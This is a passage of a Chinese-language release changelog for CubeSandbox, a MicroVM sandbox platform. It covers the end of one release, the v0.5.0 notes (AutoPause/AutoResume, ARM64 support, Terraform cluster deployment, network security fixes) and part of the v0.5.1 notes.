主机上的一键部署安装问题。修复 #465。 * **Glibc 预检 pipefail 竞态**（#473）：`ldd --version` 的输出现在会在解析前完整捕获，避免严格模式下的预检因预期的 SIGPIPE 而退出。 * **Python SDK 流式请求体读取**（377a99dc）：`IPOverrideTransport` 中的请求体现在在复制前会被缓冲，使 multipart 上传不再因 `RequestNotRead` 而失败。 * **CLI 帮助文本修正**（#478）：修正了 `cubecli` 和 `cubemastercli` 中错误的命令名称（如 `cuebcli` → `cubecli`）、拼写错误、过时的弃用提示以及截断的描述文本。 ### 📚 文档 * **DEB 安装说明**（#532）：在快速入门指南中新增 apt（DEB）安装说明，与现有的 yum（RPM）步骤并列。 * **基准测试博客环境变量修正**（#497）：修复了混淆不同客户端栈环境变量的基准测试示例——`e2b_code_interpreter` 示例使用 E2B 变量，CubeSandbox SDK 示例使用 `CUBE_API_URL` + CubeProxy 设置。 * **CNCF Landscape 徽章**（#477）：在 README 中新增 CNCF Landscape 徽章和页脚说明（中英文双版）。 * **模板 ID 文档清理**（#476）：从所有 `create-from-image` 文档和示例中移除 `--template-id` 选项，因为模板 ID 现在会自动生成 `tpl-` 前缀。 * **基准测试博文中的安装指南链接**（#475）：在所有四篇基准测试博文（中英文、裸金属和 PVM）的 §2.1 硬件部分添加安装指南链接。 * **排障链接**（#466）：在 `install.sh`、`online-install.sh` 和 `check-deps.sh` 的 XFS 文件系统检查错误消息中添加 GitHub issue #311 的排障链接。更新安装文档，使用指向 Releases 页面的直接链接。 * **CODEOWNERS**（#522）：新增 CubeEgress 维护者条目。 ### ⚙️ 工程改进 * **构建系统重构**（#529）：将原来单一的整体 `.PHONY` 声明按目标拆分。新增 `clean-rust-target-dirs` 目标，清理每个顶层 Rust 工作区下的 `target/` 目录。`all` 目标现在通过共享的 `BINARIES` 列表驱动。 * **格式化检查 CI**（#524）：为所有组件的 Makefile 添加 `fmt` 目标（Go 和 Rust），并新增 `.github/workflows/fmt-check.yml` CI 工作流在 PR 上运行格式化检查。Agent 的 `fmt` 目标会在格式化前自动生成必要的文件（`version.rs`、协议 `.rs` 文件）。 * **CI 审查评论通过 stdin 传入**（#494）：PR 审查评论现在通过 stdin（`--body-file -`）传递，而非临时文件，避免审查内容残留在 checkout 目录中。 * **CI 自动审查评论复用**（#489）：自动审查评论现在在重复的 PR 同步时更新 bot 已有的标记评论，而非每次都创建新的顶层评论。 * **指标上报抖动**（#479）：Cubelet CLS 指标上报循环现在添加了随机抖动（在 `[t, 1.5t]` 范围内均匀分布），防止多个 agent 同时启动时产生惊群效应。 --- --- url: https://cubesandbox.com/zh/changelog/v0.5.0.md --- ## 2026.07.03 Release v0.5.0 CubeSandbox 0.5.0 带来了四大核心特性：**AutoPause/AutoResume 沙箱生命周期自动化**（闲置沙箱自动暂停并在请求到达时毫秒级唤醒）、**ARM64 (aarch64) 全栈原生支持**（从 hypervisor 到 CI/CD 的完整适配）、**腾讯云 Terraform 一键集群部署**（生产级 IaC 部署方案），以及**网络安全性增强**（入向流量令牌鉴权、CubeEgress 启动期 Fail-Closed、出向策略路由）。其他重要更新包括：**纯 Go 原生 rootfs 导出管线**（绕过 Docker/skopeo/umoci，显著降低内存与构建时间开销）、**快照运行时锁重构**（消除高并发回滚死锁）、**镜像 uid/gid 保留修复**（修复非 root 镜像权限问题）、**E2B SDK 对齐**（完整的文件系统与 PTY API），以及**一键升级模式**（三路配置合并）。共计 116 个提交，来自 26 位贡献者。 ### 🎯 核心特性 #### AutoPause / AutoResume：沙箱生命周期自动化 Agent 工作流中的沙箱大部分时间处于闲置状态——等待用户输入、回调、或 RL 的下一轮 rollout。AutoPause/AutoResume 让平台自动暂停闲置沙箱，并在新请求到达时原地唤醒，将物理资源在闲置期间完全释放。这是一个平台侧承担、per-sandbox 粒度的能力，语义与 E2B 的 `lifecycle` 参数对齐。 * **AutoPause 机制**：新增的 `cube-proxy-sidecar` 组件内建 sweeper，通过 CubeProxy 的 `log_phase.lua` 上报的 `last_active` 时间戳跟踪沙箱活跃状态。当 `idle >= timeout_seconds` 时，sweeper 通过 CubeMaster → Cubelet 触发暂停：将 MicroVM 的完整状态（内存 + 文件系统）快照到 `/data/cubelet/root/pausevm/<sandbox>`，然后关闭沙箱。`BootstrapWarmup` 窗口可防止 sidecar 刚启动时的误暂停。 * **AutoResume 机制**：当数据面请求到达已暂停的沙箱时，CubeProxy 的 `sandbox_state.lua` 门控拦截请求，向 sidecar 的 `/internal/resume` 发起内部子请求。Sidecar 通过 CubeMaster → Cubelet → containerd 驱动恢复流程，从暂停快照中原地恢复 VM。数据面请求会阻塞等待恢复完成（受 nginx `proxy_read_timeout` 约束）。同沙箱的并发恢复请求在进程内合并（singleflight 模式）；跨副本协调通过 Redis SETNX 分布式锁。 * **可配置资源释放比例** (#553)：节点级配置 `host.quota.paused_resource_release_ratio`（float `[0, 1]`，默认 `0`）控制暂停沙箱向调度器释放多少 CPU/内存配额。设为 `1.0` 时，暂停资源全部释放，实现最大调度密度；设为 `0` 时，保留完整配额，确保恢复链路绝对可靠。恢复前会进行本地准入检查——若节点容量不足，返回 HTTP 409 并附带精确的容量诊断信息。 * **入向流量令牌门控** (#639)：以 `network.allow_public_traffic=false` 创建的沙箱会获得一个 per-sandbox 的 `traffic_access_token`（UUID v4）。CubeProxy 在每个入站请求（包括冷路径和缓存命中路径）强制校验此令牌，缺失或错误令牌返回 HTTP 403。令牌值在所有日志中均被脱敏。兼容 `e2b-traffic-access-token` 和 `cube-traffic-access-token` 两种请求头。 * **Kill 路径**：`on_timeout="kill"` 的沙箱走闲置超时 Kill 路径（`task.Kill`）。新增 `POST /cube/sandbox/timeout` 和 `POST /cube/sandbox/refresh` API，暴露 `end_at` 实现确定性的生命周期管理。CubeProxy 门控对 killing/killed 状态返回 `410 Gone`。 新增文件：`CubeProxy/sidecar/`（Go 二进制——sweeper、resumer、registry、stream consumer、last-active poller、Redis 协调）；CubeProxy Lua 模块（`sandbox_state.lua`、`admin_phase.lua`）；CubeMaster 生命周期端点；Cubelet pause/resume RPC。 #### ARM64 (aarch64) 全栈原生支持 CubeSandbox 现已支持在 ARM64 主机上全栈原生运行，覆盖 hypervisor、guest agent、shim、网络（BPF）、构建系统、CI/CD 和部署工具。这是 Arm 工程团队与 Cube 项目组的深度联合研发成果，项目状态已从可行性验证推进到正式 Enablement。 * **Hypervisor 适配** (4dc72757)：SysCtrl 设备（guest 到 host 的信号通道：关机、重启、vsock-ready）从 PIO 端口 I/O（x86 专用）重写为 MMIO 内存映射 I/O，在 `mmio_bus` 的 `LEGACY_SYS_CTRL_MAPPED_IO_START` 地址注册。KVM 寄存器访问（`get_one_reg`）适配上游 API 变更。Seccomp 过滤规则按 ARM64 系统调用号差异对齐（`SYS_lstat` vs `SYS_fstatat`/`SYS_newfstatat`）。热迁移功能保持 x86\_64 专属。 * **Guest Agent** (cb5706a8)：RPC 就绪信号从 x86 的 `ioperm()` + PIO 端口写入（端口 `0x680`）改为 ARM64 的 `/dev/mem` 在物理地址 `0x0903_0000`（SysCtrl MMIO 区域）处 mmap + `ptr::write_volatile`。构建目标自动检测宿主机架构。 * **CubeShim** (fe3044cf, 4feab884)：内核命令行按架构自适应——`console=ttyAMA0,115200`（ARM PL011 UART）vs `console=hvc0`（virtio-console）。x86 专用参数（`no_timer_check`、`noreplace-smp`）通过 `#[cfg(target_arch = "x86_64")]` 条件编译。Seccomp 白名单对齐：ARM64 上 `SYS_mkdir` → `SYS_mkdirat`；补充缺失的 `SYS_faccessat2`（ARM64 glibc 路径解析所用）。 * **BPF / CubeNet** (cb263f24)：BPF `//go:generate` 指令中的硬编码 `-target amd64` 替换为 `-target $GOARCH`。按架构提供 `vmlinux.h`（amd64 + arm64 BTF 导出）。BPF 目标文件改为构建时生成；预编译 `.o` 文件从 git 中移除。需要 clang ≥ 14（已通过 `apt.llvm.org` 加入构建镜像）。 * **Multi-Arch 镜像构建** (c6bb3762, 475b4885)：`Dockerfile.builder` 通过 `TARGETARCH` 参数化 Go、protoc、Rust 工具链下载。CubeEgress、CubeAPI 和 envd 镜像支持 Multi-Arch Manifest List。容器化 `make guest-kernel` 目标支持本地和交叉构建，使用架构特定的内核配置（`kernel-oc9.x86_64.config`、`kernel-oc9.aarch64.config`）。 * **CI/CD** (#720)：Builder image、VMLinux、one-click release 工作流均产出分架构制品。Release 工作流拆分为 `release_amd64` 和 `release_arm64` 两个 Job，分别在原生 Runner 运行，上传到同一个 GitHub Release。 * **部署** (cb52bc72)：开发环境（`run_vm.sh`）自动检测架构——ARM64 使用 `machine virt` + UEFI 固件（`qemu-efi-aarch64`）。Release 打包脚本按架构选择合适的 `mkcert` 二进制。 * **已知限制**（已在文档中标明）：PVM（嵌套 KVM）仅支持 x86\_64；ARM64 需使用裸金属物理机原生 KVM。热迁移仅支持 x86\_64。 #### 腾讯云 Terraform 集群化部署 一套面向腾讯云的生产级、一键式 Terraform IaC 集群部署方案。只需一份 release bundle，执行 `create.sh` 作为唯一入口，即可自动拉起完整的 CubeSandbox 集群——包含受管控制面、高可用中间件和弹性计算节点。 * **基础设施自动编排** (#629)：Terraform 自动创建私有 VPC（`10.0.0.0/16`）及按可用区的子网、NAT 网关（含弹性公网 IP）、安全组、以及一台跳板机（jumpserver）。云上托管服务自动创建： * **MySQL**（TencentDB 8.0）：多可用区半同步复制，4GB 内存 / 200GB 磁盘，创建 `cube` 应用账号及数据库级权限。 * **Redis**（TencentDB 7.0）：标准主从架构，可配置内存（默认 1GB），密码保护。 * **CFS**（云文件存储）：NFS 共享文件系统，供 cube-master 多副本挂载共享持久化存储（`/data/CubeMaster/storage`），ReadWriteMany 模式。可选——开启后启用多副本高可用模式。 * **TCR**（腾讯云容器镜像服务）：私有容器镜像仓库，VPC 内网链路打通，按部署创建命名空间，生成长期访问凭证。 * **TKE 控制面** (#629)：托管 Kubernetes 集群（v1.34.1，GlobalRouter 网络，containerd 运行时），apiserver 仅限内网。四项控制面组件以 Deployment + CLB Service 形式部署： * **cube-master**：共享 CFS NFS 卷，CubeEgress 中间人 CA（ECDSA P-256，Terraform 自动生成），内网 CLB 端口 8089。 * **cube-api**：公网 CLB 端口 3000，通过集群 DNS 代理到 cube-master。 * **cube-proxy**：公网 CLB 端口 80/443，Redis 和 TLS 凭证以 Secret 注入。 * **cube-webui**：公网 CLB 端口 80，nginx 反向代理到 cube-api 和 cube-proxy。 * **可配置副本数** (#658)：`cubemaster_replicas`、`cube_api_replicas`、`cube_proxy_replicas`、`cube_webui_replicas` 变量（POC 模式默认 1 副本）。当 `TENCENTCLOUD_USE_CFS=true` 时，cube-master 支持多副本高可用，副本数同时驱动 `spec.replicas` 和调度器并发分配。 * **弹性计算节点**：私有 VPC 内可配置一台或多台 CVM 实例（PVM 或裸金属），通过 TKE 节点池弹性扩缩容。默认 1 节点，支持自定义数量和实例规格。 * **一键升级模式** (#538)：`install.sh --mode=upgrade` 自动检测已有安装，执行三路 `.env` 配置合并（新默认值 + 旧自定义值 + 显式覆盖值），fail-fast 预检（磁盘空间、语义化版本兼容性、CIDR 冲突），并在任何破坏性操作前备份配置。用户自定义修改被保留，密钥值在 diff 报告中脱敏但在实际合并文件中保留。 * **外部 MySQL/Redis 支持** (#514)：一键安装器支持通过 `CUBE_EXTERNAL_MYSQL_*` / `CUBE_EXTERNAL_REDIS_*` 变量接入已有的外部 MySQL 和 Redis 实例。本地 Docker 容器被 mask，所有组件（CubeMaster、CubeAPI、CubeProxy）使用外部端点。 * **其他安装器改进**：废弃 `CUBE_PROXY_HOST_PORT`，拆分为 `CUBE_PROXY_HTTP_PORT` / `CUBE_PROXY_HTTPS_PORT` (#588)。移除手动 SQL 初始化，改用 CubeMaster 内嵌 goose migration (#628)。CubeEgress 集成到计算节点启动流程 (#707)。改进外部依赖兼容性（Shell 安全的 env 持久化、redis-cli 超时兼容检测）(#673)。腾讯云部署配置了 cubelet 上报间隔与多节点调度器评分 (b8f22421)。镜像默认值更新为 v0.5.0 标签 (#719)。 新增文件：`deploy/one-click/terraform/tencentcloud/`（create.sh、destroy.sh、main.tf、variables.tf、tke-addons.tf、outputs.tf、lib-state-sync.sh、env.example）；`docs/guide/tencentcloud-terraform-deploy.md`（中英文各一份）。 #### 网络安全增强 入向、出向、数据面三个维度的关键网络安全补丁。 * **Per-sandbox 流量访问令牌** (#639)：已在 AutoPause/AutoResume 章节详述。CubeProxy 在 `AllowPublicTraffic=false` 时对每个入向请求强制校验 `traffic_access_token`，缺失或错误返回 403。令牌值不会被记录到任何日志中。 * **CubeEgress 启动期 Fail-Closed** (c5f811d8)：在 CubeEgress 启动期间、L7 策略尚未从 CubeMaster 加载完毕时（bootstrap\_status ≠ "ready"），CubeEgress 对所有非审计类流量返回 403，而非此前的 Fail-Open 放行行为。这消除了沙箱出向流量在 Egress 重启窗口内绕过所有域名/SNI/方法/路径控制的敞口。 * **策略路由 / cube-router** (7c514e9d)：可选的 `cube-router` 内核 dummy 网卡允许沙箱出向流量走宿主机 Linux 路由栈，而非被硬性重定向到主网卡。流量可从任意可路由设备（eth0、eth1、GRE 隧道、VXLAN、WireGuard）发出，无缝对接现有网络基础设施。已有的 CubeEgress L7 策略、DNS 白名单和端口映射全部保留。 * **BPF TCP 校验和修复** (7c2dd1ff)：修复跨节点端口映射沙箱回包 TCP 校验和错误。`snat_tcp()` 函数在仅 TCP 端口值变化的情况下错误使用了 `BPF_F_PSEUDO_HDR` 参数，导致多节点部署下校验和损坏。 * **from\_world 清理** (5b919466)：移除 loopback 接口上无效的 `from_world` TC filter 挂载，减少不必要的 eBPF 挂载点。 * **宿主机服务访问** (48d080e6)：沙箱到宿主机自身 IP 的出向流量现在通过 BPF 快捷路径转发，允许沙箱内代码访问宿主机上的本地服务。 * **网络安全加固指南** (#663)：中英文运维安全指南，覆盖控制面默认攻击面、绑定策略（私有网卡 vs 防火墙白名单）、CubeAPI 认证回调的 path+method 双重校验、以及 TLS/凭证轮换指引。 ### ✨ 功能增强 #### SDK * **E2B 文件系统 API 对齐** (#678)：Go 和 Python SDK 现已实现完整的 E2B 文件系统 API：`list`、`stat`、`exists`、`remove`、`rename`、`mkdir`、`watch`。含全面集成测试。 * **Python SDK PTY API** (250d248a)：Python SDK 新增完整 PTY（伪终端）接口——`create`、`connect`、`kill`、`send_stdin`、`resize`，通过 `PtyHandle` 迭代器提供流式输出。直接通过 httpx 与 envd 的 Connect-JSON RPC 通信，不依赖 e2b Python 包。 * **Python SDK E2B network.rules 转换** (#568)：兼容 E2B 的 per-host `{transform: {headers: {...}}}` 凭据注入格式，翻译为 CubeEgress L7 `action.inject` 规则。使用 E2B per-host 凭据注入的代码可零改动切换。 * **Python SDK 双重编码修复** (#572)：修复执行日志和错误的双重编码问题。 #### 性能 * **纯 Go 原生 rootfs 导出** (#558)：无守护进程、纯 Go 实现的 rootfs 导出管线，完全绕过 Docker、skopeo 和 umoci。核心优化包括并发预取、loop 挂载流式写入 ext4 块设备、逐层解压即删除策略，显著降低了峰值内存占用与构建时间开销。默认启用。 * **VirtIO Block 性能** (#575)：在 Hypervisor 的 virtio-blk 设备中启用 `VIRTIO_BLK_F_SEG_MAX`（多段请求）和 `VIRTIO_RING_F_INDIRECT_DESC`（间接描述符），fio 基准测试中顺序写入吞吐从 2888 MiB/s 提升至 3293 MiB/s。 #### 模板管理 * **镜像拉取进度 TUI** (#580)：基于 Redis 持久化的实时拉取进度跟踪。新增 `template watch` 和 `template build-watch` CLI 命令，提供交互式 bubbletea TUI（显示下载速度、逐层完成度、步骤清单），非 TTY 终端自动降级为纯文本输出。 * **模板列表暴露最新 Job ID** (#546)：模板列表和详情 API 暴露每个模板的最新 create/rebuild job ID。Web UI 在查看有活跃（running/pending/building）job 的模板时自动打开构建日志。 * **制品资源泄漏修复** (#631)：引入 `t_cube_artifact_node_placement` 表，独立于 Replica 生命周期跟踪节点级制品放置。周期性制品 GC，以 MySQL `GET_LOCK` 保证高可用协调。加固 CubeMaster、Cubelet、CubeAPI 级联清理链路。AgentHub 快照级联清理增加路径穿越保护。 #### Web UI * **模板创建重构** (#675)：全新的多步骤模板创建表单，支持镜像源选择、实例规格配置、网络设置和高级选项。改进了表单校验和字段组织。 #### AgentHub * **LLM 环境变量回退移除** (#602)：所有 AgentHub LLM 密钥和设置现在仅存储在数据库中，使用按安装实例的 CSPRNG 生成主密钥加密。环境变量回退路径全部移除。一键升级脚本主动删除过时的环境变量密钥。`decrypt_or_passthrough` 对不可解密的负载采取 Fail-Closed 策略。 * **助理状态持久化** (#582)：认证信息、OpenClaw 运行时状态、模板继承关系和快照恢复行为持久化到数据库。包含 bcrypt 密码哈希、企微 Secret 解密、认证入口限流。支持数字助理的备份/恢复和安全克隆。 #### 部署与安装器 * **一键升级模式** (#538)：已在集群部署章节详述。`--mode=upgrade` + 三路 env 合并 + 升级前备份 + fail-fast 预检。 * **外部 MySQL/Redis** (#514)：已在集群部署章节详述。支持接入已有外部数据库实例。 * **CUBE\_PROXY 端口拆分** (#588)：`CUBE_PROXY_HOST_PORT` 废弃；拆分为 `CUBE_PROXY_HTTP_PORT`（默认 80）和 `CUBE_PROXY_HTTPS_PORT`（默认 443）。 * **静态编译** (#583)：`cube-api`、`cubemaster` 和 `cubemastercli` 现为完全静态二进制（Go CGO\_ENABLED=0 / Rust musl 目标），消除宿主机 glibc 依赖和版本偏差风险。 * **内嵌 Migration** (#628)：移除手动 SQL 初始化；CubeMaster 内嵌 goose migration 自动处理单节点种子数据。消除控制节点对 mysql 客户端的依赖。 * **CubeEgress 计算节点集成** (#707)：CubeEgress 集成到计算节点启动和停止脚本，Egress 策略执行覆盖所有节点。 * **resolvectl 兼容** (#703)：容忍旧版本 systemd（v240 以下）缺少 `resolvectl default-route`，防止 RHEL 8.3 等系统安装失败。 #### 基础设施 * **Redis Key 统一** (#609)：所有 Redis Key 集中在 `pkg/base/rediskey` 中，采用统一命名规范。移除读写/元数据连接池分离，简化为单连接池，降低多节点部署配置复杂度。 * **Migration 身份固化** (#620)：三层防线防止 migration 静默跳过：新 migration 必须使用 14 位 UTC 时间戳前缀（而非整数序号），支持乱序应用（out-of-order），以及启动时 SHA-256 内容指纹校验。CI 强制禁止修改已合入的 migration 文件。 * **节点标签管理 API** (#633)：`POST /nodes/{id}/labels` 和 `DELETE /nodes/{id}/labels` 端点用于管理员标签管理。K8s 兼容命名（DNS1123 子域名前缀），SELECT FOR UPDATE 竞争保护，每节点 64 标签上限，系统保留命名空间保护（`kubernetes.io`、`beta.kubernetes.io`、`cube.cloud.tencentcloud.com`）。 * **envd 版本上报** (#650)：实际采集到的 envd 版本作为沙箱注解传播，使 E2B SDK 能根据真实运行时版本进行特性门控，替代硬编码的版本常量。 * **可配置 HTTP 监听地址** (#662)：`CUBEMASTER_HTTP_BIND` 使 HTTP 监听地址可配置，支持绑定到私有网卡以进行网络安全加固。 * **腾讯云调度器评分** (b8f22421)：多节点调度器评分配置 `real_time_weighted_average` 插件，平衡 mvm\_num、local\_create\_num、cpu\_usage、quota\_mem\_usage 权重。`priority_select_num` 动态上限为 `min(compute_node_count, 3)`。 ### 🐛 Bug 修复 以下修复针对 v0.4.0 中存在的问题： * **高并发回滚死锁修复** (#693)：快照运行时活跃绑定重构为独立的 `t_cube_snapshot_runtime_active` 表，引入沙箱级和资源级分布式锁，从根本上消除了 MySQL 1213 死锁错误。 * **镜像 uid/gid 保留修复** (#671、#608)：两个互补的镜像权限保留修复： * Native Export 路径 (#671)：移除 `WithNoSameOwner()` 选项——此前该选项会将所有文件的 uid/gid 压缩为提取用户，破坏镜像原始权限。 * Template Center (#608)：`umoci unpack --rootless` 现在仅在 euid ≠ 0 时传递（root 身份运行时不再传递）。Docker-export 回退路径增加 `--same-owner --numeric-owner`。修复 Browser 沙箱中 Chromium profile 写入失败和 CDP 不可达、以及 Python 镜像 envd exec 因 `/home/user` 权限导致 EACCES 的问题。 * **Hostdir 挂载超时保护** (#691)：Hostdir bind 和 remount 操作通过有界子进程执行，每步 3 秒超时。此前，卡住的 NFS 等宿主机挂载点会导致沙箱创建无限期阻塞。 * **CubeProxy envd 流式缓冲修复** (#647)：对 envd 服务端流式端点禁用 nginx 响应缓冲。此前 nginx 会缓存早期的流帧，破坏后台命令和 Watch 流的即时返回语义。 * **MSI-X Table/PBA 鲁棒性加固** (#619)：VMM 中 MSI-X table/PBA 读写路径上 guest 可触发的 panic 替换为优雅错误处理。恶意或有缺陷的 guest 不再能通过无效 MSI-X 访问导致 VMM 进程崩溃。 * **CubeProxy 实现细节泄露修复** (#653)：移除暴露内部故障码的 `X-Cube-Retcode` 响应头和 `$cube_retcode` 访问日志字段。错误响应统一为不透明 HTTP 状态码 + 标准 JSON Body，防止通过区分错误码枚举沙箱 ID 或探测基础设施弱点。 * **Auth Callback 方法转发** (#315)：`X-Request-Method` 现在转发到认证回调，实现（路径 + 方法）粒度的鉴权。此前，仅路径白名单无法区分同一路径的 GET 和 DELETE 操作，只读凭证可访问破坏性端点。 * **CubeEgress 计算节点 CA 刷新** (#614)：计算节点上的 CubeEgress 现在从 CubeMaster 刷新中间人 CA，修复主节点 CA 轮换后的 CA 不匹配问题。 * **模板信息回填** (#594)：回填模板详情响应中缺失的 `created_at` 和 `image_info` 字段。 * **快照删除 Job 清理** (#559)：快照删除后清理孤儿 job 行，防止失效构建 job 引用。 * **跨副本节点状态同步** (#542)：启动 Nodemeta 定期重载协程，实现跨副本节点状态同步，修复多副本 CubeMaster 部署中节点状态过期问题。 * **BPF 内层 Map BTF** (#595)：CubeVS 内层 map 现在带 BTF key/value 创建，修复高版本内核上的 BPF map 兼容性。 * **一键安装根目录加固** (#649)：移除可配置的安装根路径；安装前缀安全性断言加强，防止误擦除系统目录。 * **一键安装 MIRROR 持久化** (#622)：MIRROR 环境变量持久化到 `.one-click.env`，确保重启后镜像仓库选择一致。 * **一键安装相同 CIDR 重装** (#586)：区分相同 CIDR 重装与 CIDR 变更场景，使用 systemd 优雅停止服务。 * **一键安装计算节点 Quickcheck 启动竞态** (#637)：计算节点启动后检查容错短暂启动竞态。 * **一键安装 DATABASE\_URL 持久化** (#611)：`DATABASE_URL` 持久化到本地 MySQL 的安装和 systemd 启动路径。 * **Python SDK 流式文件体** (377a99dc)：`IPOverrideTransport` 中请求体拷贝前先缓冲，修复 multipart 上传失败。 * **CubeProxy 日志清理** (#593)：移除 CubeProxy 中的无效日志字段和失效后端桩代码。 * **envd 命令环境变量传递修复** (#566)：修复通过 `commands.run` 启动 envd 时 create-time 环境变量丢失的问题。 * **Sandbox Preview 路由修复** (#570)：修复缺失的 `/cube/sandbox/preview` 路由处理器，此前 `cubemastercli tpl render` 会静默失败。 * **一键升级 Bundle 完整性修复** (#597)：修复一键升级包中缺失 `scripts/common/` 目录导致升级预检脚本不可用的问题。 * **Template 创建 Cube CA 转发修复** (#652)：修复创建模板时 `with_cube_ca` 参数未正确转发的问题，确保客户端能够控制是否将 CubeEgress 根 CA 注入模板 rootfs。 * **腾讯云部署 semver 辅助函数** (#587)：增加 `semver_compare` 和 `version_lt` 函数，确保升级决策逻辑正确。 ### 📚 文档 * **ARM64 部署指南** (64931ff2)：所有部署指南（快速入门、裸金属、开发环境、多节点、自构建）更新中英文，增加架构特定说明，标注 ARM64 PVM 限制。 * **网络安全加固指南** (#663)：中英文运维安全指南，覆盖控制面攻击面、绑定策略、认证回调配置、TLS/凭证指引。 * **腾讯云 Terraform 部署指南** (ae81121d)：中英文完整 Terraform 集群部署指南。 * **快照/克隆/回滚深度解析** (#680)：中英文技术深度解析博客，介绍快照、克隆和回滚机制。 * **沙箱日志指南** (#692)：新增 `cubecli logs` 使用指南及示例。 * **多节点调度器评分指引** (#672)：配置多节点调度器评分以实现工作负载均衡分布的指引。 * **Host Mount 权限修复** (#560)：Host Mount 权限处理说明文档。 * **v0.4.0 发布博客** (#585)：中英文版本发布公告和 Agent 友好服务技术博客。 * **网络深度解析博客** (#627)：中英文 CubeSandbox 网络技术深度解析。 * **README 优化** (#640、#666、#646)：产品亮点、v0.4 展示、基准测试报告链接、架构图更新、主页标语优化。 * **文档优化** (#665)：交叉文档链接修复、快照/回滚/克隆侧边栏导航、本地化文档流保持 (#668、#664)。 * **安装指南链接** (#475、#466)：基准测试博客中增加安装指南引导，安装错误消息中增加问题排查链接。 ### ⚙️ 工程改进 * **Multi-Arch CI** (#720)：Builder image、VMLinux、one-click release 工作流均支持 amd64 + arm64，产生分架构制品和 Multi-Arch Manifest。 * **Python SDK 发布工作流** (#700)：GitHub Actions 工作流，由 `python-sdk-v*` 标签触发 PyPI 发布。版本交叉校验（tag vs `pyproject.toml` vs `__init__.py`），智能变更检测（跳过无变化的发布），`twine check` 验证。 * **Cubelet 上报默认间隔** (#722)：上报告间隔默认值改为 1s，提供更灵敏的指标。 * **CI Release 工作流加固** (#724)：为 `gh release` 命令添加 `--repo` 参数，确保正确的仓库指向。 --- --- url: https://cubesandbox.com/zh/changelog/v0.5.1.md --- ## 2026.07.10 Release v0.5.1 CubeSandbox 0.5.1 是一次面向生产落地的跟进发布，在 0.5.0 的 AutoPause / ARM64 / 集群部署基线上补齐关键能力与稳定性。本版本重点包括：**cube-lifecycle-manager 独立控制面服务**（从 CubeProxy sidecar 拆出，支持 CubeProxy 多副本扩展）、**三值 timeout 语义重构**（服务端默认 + `NEVER_TIMEOUT` / 立即超时 / TTL），以及 **host-mount 路径白名单安全加固**。同时修复 ARM64 64KB 页场景下的快照完整性问题，并显著提升出向策略与 TAP 回收的可靠性。共计 59 个提交，来自 18 位贡献者。 ### 🎯 核心特性 #### cube-lifecycle-manager：AutoPause 协调器独立化 将原先内嵌在 CubeProxy 镜像中的 `cube-proxy-sidecar` 拆分为独立控制面服务 **cube-lifecycle-manager（CLM）**，使 CubeProxy 可多副本水平扩展，而不再依赖单实例 sidecar。 * **独立部署**：CLM 作为独立服务接入 `cube-sandbox-control.target`；一键安装与腾讯云 Terraform 部署均已纳入。 * **Redis 服务发现**：CubeProxy 各副本将 admin endpoint 注册到 Redis；CLM 通过注册表发现全部在线副本并协调 auto-pause / auto-resume，无需静态配置副本列表。 * **协议兼容**：Wire protocol、Redis schema、SDK 行为保持不变；现有 AutoPause / AutoResume 语义不受影响。 * **腾讯云 Terraform** (#814)：控制面新增 `cube-lifecycle-manager` Deployment；支持 `TENCENTCLOUD_CUBE_PROXY_REPLICAS` 多副本，以及 CLM 副本数 / discovery refresh / admin token 等配置项。 #### 三值 Timeout 语义 + 服务端默认 统一沙箱 idle timeout 语义，与 E2B 对齐，并将「未设置」与「显式默认值」区分开——默认超时决策从 SDK / CubeAPI 下沉到 CubeMaster。 | 取值 | 含义 | |------|------| | 省略（`None` / `nil`） | 由集群 `default_timeout_insec` 决定；未配置或 ≤0 时视为永不超时 | | `NEVER_TIMEOUT`（`-1`） | 永不因 idle 回收 | | `0` | 立即超时（首次 idle sweep 即回收） | | `N > 0` | idle TTL = N 秒 | * **SDK**：Go / Python 的 `CreateOptions.Timeout` 改为可选指针；Create / Connect / Resume 不再自动填入硬编码默认值。暴露 `NeverTimeout` / `NEVER_TIMEOUT` sentinel。 * **CubeAPI / CubeMaster**：timeout 字段改为 `Option` / `*int`，透传「未设置」；`EndAt` 按三值语义计算（`-1` → 无截止时间）。 * **RPC 截止与 idle TTL 解耦**：新增 `create_timeout_insec`（默认 300s）仅约束创建调度 RPC，不再与沙箱 idle TTL 混用。 * **CLM sweeper**：`TimeoutSeconds < 0` 跳过回收；`== 0` 立即回收；旧数据 `nil` 回退到 `DefaultIdleTimeout`。 * **运行时调整**：Python / Go SDK 新增 `set_timeout()` / `SetTimeout()`，支持将运行中沙箱改为 `NEVER_TIMEOUT` (#743, #850)。Web UI 创建沙箱时可传入 timeout (#798)。 #### Host-Mount 路径白名单安全加固 此前 host-mount 接受任意绝对路径，沙箱可 bind-mount 宿主机任意目录。现改为可配置前缀白名单（默认 `/data/shared/`），并用 `filepath.Clean` 消除 `..` 路径穿越；配置中显式禁止根路径 `/` (#756)。 配套更新持久化存储指南（路径限制、权限、多租户隔离、多节点共享存储），示例路径对齐默认前缀 (#768)。 ### ✨ 功能增强 #### SDK * **Node.js / TypeScript SDK（预览）** (#792)：新增 `@cubesandbox/sdk`，API 面与 Python / Go 对齐；尚在验证中，生产使用请谨慎。 * **Python / Go `set_timeout`** (#743, #850)：对齐 E2B API；CubeAPI / CubeMaster 接受 `-1`（`NEVER_TIMEOUT`），拒绝其他负值。 * **Go SDK allowOut 校验对齐** (#802)：不再将 `AllowPublicTraffic=false` 误判为 deny-all；与 CubeAPI 一致，仅在 `AllowInternetAccess=false` 或 `denyOut` 含 `0.0.0.0/0` 时视为全拒绝。 #### 网络与 Egress * **CubeEgress 明文 HTTP 凭据注入** (#726)：允许对纯 HTTP 上游注入凭据。安全边界是沙箱代码看不到密钥，而非要求 egress→upstream 必须 TLS。 * **CubeEgress 透明代理 IP 随 CIDR 推导** (#851)：不再硬编码 `192.168.0.1`；从 `CUBE_SANDBOX_NETWORK_CIDR` 取网段首个可用 IP，自定义沙箱网段时 TPROXY / OpenResty 监听地址正确。 * **DNS 学习条目最小 TTL**：对 DNS 学到的 egress allow 条目施加最小 300s TTL，避免短 TTL 导致重连被误拒。 * **已建立会话跳过策略重检**：CubeVS 对已存在的 CubeEgress TCP 会话跳过 egress 策略重检，避免 DNS 记录过期打断活跃连接；策略检查折叠进 `create_nat_session`，按会话缓存结果。 * **默认 deny 基线统一回放**：replace / flush 路径始终回放私网 / link-local 默认 deny 条目，create 与 replace 策略形态一致。 #### 部署与安装器 * **CubeProxy 预发布多架构镜像** (#849)：一键部署改为从 TCR 拉取预构建 multi-arch 镜像，不再本机构建；支持 `MIRROR=cn|int` 与 airgap 本地缓存回退。 * 